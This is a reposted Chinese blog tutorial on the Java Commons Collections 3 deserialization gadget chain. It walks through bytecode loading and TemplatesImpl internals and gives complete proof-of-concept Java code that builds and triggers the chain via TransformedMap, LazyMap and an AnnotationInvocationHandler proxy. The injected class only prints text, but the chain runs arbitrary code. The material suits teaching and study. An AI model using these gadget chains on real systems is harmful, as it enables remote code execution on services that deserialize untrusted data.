CommonsCollections3

字节码

严格来说，Java字节码（ByteCode）其实仅仅指的是Java虚拟机执行使用的一类指令，通常被存储在.class文件中。

URLClassLoader加载字节码

Java的ClassLoader是用来加载字节码文件的最基础的方法

正常情况下，Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径（这些路径是经过处理后的java.net.URL类）来寻找.class文件来加载，而这个基础路径有三种情况：

URL未以/结尾，则认为是一个JAR文件，使用JarLoader来寻找类，即为在Jar包中寻找.class文件
URL以/结尾，且协议名是 file ，则使用 FileLoader 来寻找类，即为在本地文件系统中寻找.class文件
URL以/结尾，且协议名不是file，则使用最基础的Loader来寻找类
本地编译一个Hello类，然后通过HTTP协议远程加载

package com.naraku.sec.bytecode; 
 
import java.net.URL; 
import java.net.URLClassLoader; 
 
public class HelloClassLoader { 
    public static void main(String[] args) throws Exception { 
        URL[] urls = { new URL("http://localhost:9999/") }; 
        URLClassLoader loader = URLClassLoader.newInstance(urls); 
        Class clazz = loader.loadClass("Hello"); 
        clazz.newInstance(); 
    } 
}

defineClass加载字节码

不管是加载远程class文件，还是本地class或jar文件，Java都经历的是下面这三个方法调用：
ClassLoader#loadClass > ClassLoader#findClass > ClassLoader#defineClass

其中：

loadClass的作用是从已加载的类缓存、父加载器等位置寻找类（这里实际上是双亲委派机制），在前面没有找到的情况下，执行findClass
findClass的作用是根据基础URL指定的方式来加载类的字节码，就像上一节中说到的，可能会在本地文件系统、jar包或远程http服务器上读取字节码，然后交给defineClass
defineClass的作用是处理前面传入的字节码，将其处理成真正的Java类

所以可见，真正核心的部分其实是defineClass，它决定了如何将一段字节流转变成一个Java类，Java默认的ClassLoader#defineClass是一个native方法。

LoaderClass

先把前面的Hello.java编译成Hello.class，然后将该class文件进行加载

package com.naraku.sec.bytecode; 
 
import java.io.ByteArrayOutputStream; 
import java.io.FileInputStream; 
 
public class LoaderClass { 
  public static byte[] load(String path) { 
    FileInputStream fis = null; 
    ByteArrayOutputStream baos = null; 
     
    try { 
      fis = new FileInputStream(path); 
      baos = new ByteArrayOutputStream(); 
      byte[] buffer = new byte[1024]; 
      int len = -1; 
      while ((len = fis.read(buffer)) != -1) { 
        baos.write(buffer, 0, len); 
        baos.flush(); 
      } 
      return baos.toByteArray(); 
    } 
    catch (Exception e) { 
      e.printStackTrace(); 
    } 
    finally { 
      if (fis != null) { 
        try { fis.close(); } 
        catch (Exception e) { e.printStackTrace(); } 
      } 
      if (baos != null) { 
        try { baos.close(); } 
        catch (Exception e) { e.printStackTrace(); } 
      } 
    } 
    return null; 
  } 
}

加载字节码

package com.naraku.sec.bytecode; 
 
import java.lang.reflect.Method; 
 
public class HelloDefineClass { 
  public static void main(String[] args) throws Exception { 
    Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 
    defineClass.setAccessible(true); 
     
    byte[] code = LoaderClass.load("src/main/java/Hello.class"); 
     
    Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), code, 0, code.length); 
    hello.newInstance(); 
  } 
}

注意一点，在defineClass被调用的时候，类对象是不会被初始化的，只有这个对象显式地调用其构造函数，初始化代码才能被执行。
而且，即使我们将初始化代码放在类的static块中，在defineClass时也无法被直接调用到。所以，如果我们要使用defineClass在目标机器上执行任意代码，需要想办法调用构造函数。

因为系统的ClassLoader#defineClass是一个保护属性，所以我们无法直接在外部访问，不得不使用反射的形式来调用。在实际场景中，因为defineClass方法作用域是不开放的，所以攻击者很少能直接利用到它

TemplatesImpl加载字节码

虽然大部分上层开发者不会直接使用到defineClass方法，但是Java底层还是有一些类用到了它，这就是TemplatesImpl，defineClass是攻击链TemplatesImpl的基石。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类定义了一个内部类TransletClassLoader。其中重写了defineClass方法，并且没有显示声明定义域，因此定义域默认为default。也就是说这里的defineClass由其父类的protected类型变成了一个default类型的方法，可以被类外部调用。

static final class TransletClassLoader extends ClassLoader { 
  private final Map<String,Class> _loadedExternalExtensionFunctions; 
   
  TransletClassLoader(ClassLoader parent) { 
    super(parent); 
    _loadedExternalExtensionFunctions = null; 
  } 
   
  TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { 
    super(parent); 
    _loadedExternalExtensionFunctions = mapEF; 
  } 
   
  public Class<?> loadClass(String name) throws ClassNotFoundException { 
    Class<?> ret = null; 
    // The _loadedExternalExtensionFunctions will be empty when the 
    // SecurityManager is not set and the FSP is turned off 
    if (_loadedExternalExtensionFunctions != null) { 
      ret = _loadedExternalExtensionFunctions.get(name); 
    } 
    if (ret == null) { 
      ret = super.loadClass(name); 
    } 
    return ret; 
  } 
   
  /** 
  * Access to final protected superclass member from outer class. 
  */ 
  Class defineClass(final byte[] b) { 
    return defineClass(null, b, 0, b.length); 
  } 
}

从defineClass()这里往前追溯，调用路径为：

TemplatesImpl#getOutputProperties() 
    TemplatesImpl#newTransformer() 
        TemplatesImpl#getTransletInstance() 
            TemplatesImpl#defineTransletClasses() 
                TransletClassLoader#defineClass()

最前面两个方法TemplatesImpl#getOutputProperties()、TemplatesImpl#newTransformer()作用域是public，可以被外部调用。

defineTransletClasses

TemplatesImpl#defineTransletClasses()

当_bytecodes == null 时会抛出异常，因此需要使_bytecodes不为空
然后在AccessController.doPrivileged()方法中，TransletClassLoader()需要传递参数_tfactory.getExternalExtensionsMap()，因此_tfactory也不能为空

private void defineTransletClasses() 
  throws TransformerConfigurationException { 
   
  if (_bytecodes == null) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); 
    throw new TransformerConfigurationException(err.toString()); 
  } 
   
  TransletClassLoader loader = (TransletClassLoader) 
    AccessController.doPrivileged(new PrivilegedAction() { 
      public Object run() { 
        return new TransletClassLoader(ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap()); 
      } 
    }); 
   
  try { 
    final int classCount = _bytecodes.length; 
    _class = new Class[classCount]; 
     
    if (classCount > 1) { 
      _auxClasses = new HashMap<>(); 
    } 
     
    for (int i = 0; i < classCount; i++) { 
      _class[i] = loader.defineClass(_bytecodes[i]); 
      final Class superClass = _class[i].getSuperclass(); 
       
      // Check if this is the main class 
      if (superClass.getName().equals(ABSTRACT_TRANSLET)) { 
        _transletIndex = i; 
      } 
      else { 
        _auxClasses.put(_class[i].getName(), _class[i]); 
      } 
    } 
     
    if (_transletIndex < 0) { 
      ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); 
      throw new TransformerConfigurationException(err.toString()); 
    } 
  } 
  catch (ClassFormatError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  } 
  catch (LinkageError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  } 
}

在try{}代码块中：

首先会用loader遍历加载字节码数组并获取对应的Class对象：loader.defineClass(_bytecodes[i])
然后逐个获取Class对象的父类：_class[i].getSuperclass()
最后判断父类名是否为AbstractTranslet

所以这段逻辑主要做权限校验，作用是判断通过字节码加载的类是否为AbstractTranslet的子类

另外在上面的逻辑中，当父类名不为AbstractTranslet时，就会向_auxClasses传值：
_auxClasses.put(_class[i].getName(), _class[i])
而在TemplatesImpl#writeObject()方法中，当_auxClasses != null时会抛出异常，即_auxClasses不为空时不能进行序列化

private void writeObject(ObjectOutputStream os) 
  throws IOException, ClassNotFoundException { 
  if (_auxClasses != null) { 
    //throw with the same message as when Hashtable was used for compatibility. 
    throw new NotSerializableException( 
      "com.sun.org.apache.xalan.internal.xsltc.runtime.Hashtable"); 
  } 
   
  // Write serialized fields 
  ObjectOutputStream.PutField pf = os.putFields(); 
  pf.put("_name", _name); 
  pf.put("_bytecodes", _bytecodes); 
  pf.put("_class", _class); 
  pf.put("_transletIndex", _transletIndex); 
  pf.put("_outputProperties", _outputProperties); 
  pf.put("_indentNumber", _indentNumber); 
  os.writeFields(); 
   
  if (_uriResolver instanceof Serializable) { 
    os.writeBoolean(true); 
    os.writeObject((Serializable) _uriResolver); 
  } 
  else { 
    os.writeBoolean(false); 
  } 
}

getTransletInstance

TemplatesImpl#getTransletInstance()

当_name == null时将返回，因此需要设置_name的值，使其不为空
另外这个调用了newInstance()实例化了一个AbstractTranslet类对象，触发恶意代码（可以在静态代码块，代码块和构造代码块三个位置）

private Translet getTransletInstance() 
  throws TransformerConfigurationException { 
  try { 
    if (_name == null) return null; 
     
    if (_class == null) defineTransletClasses(); 
     
    // The translet needs to keep a reference to all its auxiliary 
    // class to prevent the GC from collecting them 
    AbstractTranslet translet = (AbstractTranslet) 
      _class[_transletIndex].getConstructor().newInstance(); 
    translet.postInitialization(); 
    translet.setTemplates(this); 
    translet.setOverrideDefaultParser(_overrideDefaultParser); 
    translet.setAllowedProtocols(_accessExternalStylesheet); 
    if (_auxClasses != null) { 
      translet.setAuxiliaryClasses(_auxClasses); 
    } 
     
    return translet; 
  } 
  catch (InstantiationException | IllegalAccessException | 
         NoSuchMethodException | InvocationTargetException e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); 
    throw new TransformerConfigurationException(err.toString(), e); 
  } 
}

构造字节码

根据前面的分析，加载的字节码需要继承自AbstractTranslet

编写一个HelloTemplatesImpl类并继承自AbstractTranslet，快捷键Option+回车并选择Implement methods，最后再实现其它代码

import com.sun.org.apache.xalan.internal.xsltc.DOM; 
import com.sun.org.apache.xalan.internal.xsltc.TransletException; 
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 
 
public class HelloTemplatesImpl extends AbstractTranslet { 
  static { 
    System.out.println("Static"); 
  } 
   
  { 
    System.out.println("Code"); 
  } 
   
  public HelloTemplatesImpl() { 
    super(); 
    System.out.println("Constructor"); 
  } 
   
  @Override 
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} 
   
  @Override 
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} 
   
}

构造POC

尝试用newTransformer()构造一个简单的POC，需要注意以下几点

根据前面的分析，构造的POC需要设置_name/_bytecodes/_tfactory三个属性，使其不为空。但是应该设置什么值呢？其实可以通过TemplatesImpl类中的注释知道这几个属性的类型和作用：

_name为Class对象名，类型为String
_bytecodes为字节码，类型为byte[][]
_tfactory类型为TransformerFactoryImpl

POC代码如下：

package com.naraku.sec.bytecode; 
 
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 
 
import java.lang.reflect.Field; 
 
public class HelloTempLoader { 
   
  public static void main(String[] args) throws Exception { 
    // 加载字节码 
    byte[] code = LoaderClass.load("src/main/java/HelloTemplatesImpl.class"); 
     
    TemplatesImpl temp = new TemplatesImpl(); 
     
    // 设置属性 
    Field name = temp.getClass().getDeclaredField("_name"); 
    name.setAccessible(true); 
    name.set(temp, "HelloTemplatesImpl"); 
     
    Field bytecode = temp.getClass().getDeclaredField("_bytecodes"); 
    bytecode.setAccessible(true); 
    bytecode.set(temp, new byte[][]{code}); 
     
    Field tfactory = temp.getClass().getDeclaredField("_tfactory"); 
    tfactory.setAccessible(true); 
    tfactory.set(temp, new TransformerFactoryImpl()); 
     
    temp.newTransformer(); 
     
  } 
}

TemplatesImpl到CC3

这里创建一个CommonCollections3类，利用Transformer和TransformedMap触发

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 
import org.apache.commons.collections.Transformer; 
import org.apache.commons.collections.functors.ChainedTransformer; 
import org.apache.commons.collections.functors.ConstantTransformer; 
import org.apache.commons.collections.functors.InvokerTransformer; 
import org.apache.commons.collections.map.TransformedMap; 
 
import java.lang.reflect.Field; 
import java.util.HashMap; 
import java.util.Map; 
 
public class CommonCollections3 { 
  public static void main(String[] args) throws Exception{ 
    // 加载字节码 
    byte[] code = LoaderClass.load("src/main/java/HelloTemplatesImpl.class"); 
     
    TemplatesImpl temp = new TemplatesImpl(); 
     
    // 设置属性 
    Field name = temp.getClass().getDeclaredField("_name"); 
    name.setAccessible(true); 
    name.set(temp, "HelloTemplatesImpl"); 
     
    Field bytecode = temp.getClass().getDeclaredField("_bytecodes"); 
    bytecode.setAccessible(true); 
    bytecode.set(temp, new byte[][]{code}); 
     
    Field tfactory = temp.getClass().getDeclaredField("_tfactory"); 
    tfactory.setAccessible(true); 
    tfactory.set(temp, new TransformerFactoryImpl()); 
     
    // temp.newTransformer(); 
     
    Transformer[] transformers = new Transformer[] { 
      new ConstantTransformer(temp), 
      new InvokerTransformer("newTransformer", null, null) 
      }; 
    Transformer transformerChain = new ChainedTransformer(transformers); 
     
    Map innerMap = new HashMap(); 
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 
    outerMap.put("test", "xxxx"); 
  } 
}

CC3

将ysoserial工具中的CommonCollections3与CommonCollections1进行对比，发现多了三个新的类：TemplatesImpl、InstantiateTransformer和TrAXFilter

InstantiateTransformer

InstantiateTransformer：通过反射创建新对象实例

TrAXFilter

TrAXFilter：实例化时构造函数会调用TransformerImpl的newTransformer方法，这也就免去了通过手工调用InvokerTransformer.newTransformer() ⽅法这⼀步

为何CC3不用InvokerTransformer：
当反序列化ysoserial工具出现后，有攻就有防，SerialKiller⼯具随之诞⽣。
SerialKiller是⼀个Java反序列化过滤器，可以通过⿊⽩名单的⽅式来限制反序列化时允许通过的类，在其第⼀个版本中，InvokerTransformer赫然在列，也就切断了CommonsCollections1的利⽤链。
ysoserial随后增加了不少新的Gadgets，其中就包括CommonsCollections3。

构造POC

模仿CC1，通过LazyMap和Proxy触发漏洞，需Java 8u71以下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 
import org.apache.commons.collections.Transformer; 
import org.apache.commons.collections.functors.ChainedTransformer; 
import org.apache.commons.collections.functors.ConstantTransformer; 
import org.apache.commons.collections.functors.InvokerTransformer; 
import org.apache.commons.collections.keyvalue.TiedMapEntry; 
import org.apache.commons.collections.map.LazyMap; 
import org.apache.commons.collections.map.TransformedMap; 
 
import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.annotation.Retention; 
import java.lang.reflect.Constructor; 
import java.lang.reflect.Field; 
import java.lang.reflect.InvocationHandler; 
import java.lang.reflect.Proxy; 
import java.util.HashMap; 
import java.util.Map; 
 
public class CommonCollections3 { 
  public static void main(String[] args) throws Exception{ 
    // 加载字节码 
    byte[] code = LoaderClass.load("src/main/java/HelloTemplatesImpl.class"); 
     
    TemplatesImpl temp = new TemplatesImpl(); 
     
    // 设置属性 
    Field name = temp.getClass().getDeclaredField("_name"); 
    name.setAccessible(true); 
    name.set(temp, "HelloTemplatesImpl"); 
     
    Field bytecode = temp.getClass().getDeclaredField("_bytecodes"); 
    bytecode.setAccessible(true); 
    bytecode.set(temp, new byte[][]{code}); 
     
    Field tfactory = temp.getClass().getDeclaredField("_tfactory"); 
    tfactory.setAccessible(true); 
    tfactory.set(temp, new TransformerFactoryImpl()); 
     
    // temp.newTransformer(); 
     
    Transformer[] transformers = new Transformer[] { 
      new ConstantTransformer(temp), 
      new InvokerTransformer("newTransformer", null, null) 
      }; 
    Transformer transformerChain = new ChainedTransformer(transformers); 
     
    Map innerMap = new HashMap(); 
     
    // 直接触发 
    // Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); 
    // outerMap.put("test", "xxx"); 
     
    // LazyMap+Proxy触发 
    Map outerMap = LazyMap.decorate(innerMap, transformerChain); 
     
    // 获取AnnotationInvocationHandler的构造函数 
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); 
    constructor.setAccessible(true); 
     
    // 利用构造函数实例化,创建与outerMap关联的InvocationHandler 
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap); 
     
    // 实例化代理对象 
    Map proxyMap = (Map) Proxy.newProxyInstance( 
      Map.class.getClassLoader(), 
      new Class[] {Map.class}, 
      handler 
    ); 
     
    // 使用InvocationHandler对proxyMap重新包裹 
    handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap); 
     
    // Serialization 
    ByteArrayOutputStream baos = new ByteArrayOutputStream(); 
    ObjectOutputStream oos = new ObjectOutputStream(baos); 
    oos.writeObject(handler); 
    // System.out.println(baos); 
     
    // Deserialization 
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); 
    ObjectInputStream ois = new ObjectInputStream(bais); 
    ois.readObject(); 
     
    ois.close(); 
    bais.close(); 
    oos.close(); 
    baos.close(); 
  } 
}

参考文章：
- Java反序列化–Common-Collections 3（CC3）

本文转自 https://www.naraku.cn/posts/122.html
本站仅做收录，版权归原作者所有。

Post Views: 7

Java安全-反序列化-5-CC3

Java安全-反序列化-5-CC3

CommonsCollections3

字节码

URLClassLoader加载字节码

defineClass加载字节码

LoaderClass

加载字节码

TemplatesImpl加载字节码

defineTransletClasses

getTransletInstance

构造字节码

构造POC

TemplatesImpl到CC3

CC3

InstantiateTransformer

TrAXFilter

构造POC

发表回复取消回复

Java安全-反序列化-5-CC3

Java安全-反序列化-5-CC3

CommonsCollections3

字节码

URLClassLoader加载字节码

defineClass加载字节码

LoaderClass

加载字节码

TemplatesImpl加载字节码

defineTransletClasses

getTransletInstance

构造字节码

构造POC

TemplatesImpl到CC3

CC3

InstantiateTransformer

TrAXFilter

构造POC

You may also like:

Spring Cloud Gateway内存马注入

Java安全-反序列化-4-CC6

发表回复 取消回复

发表回复取消回复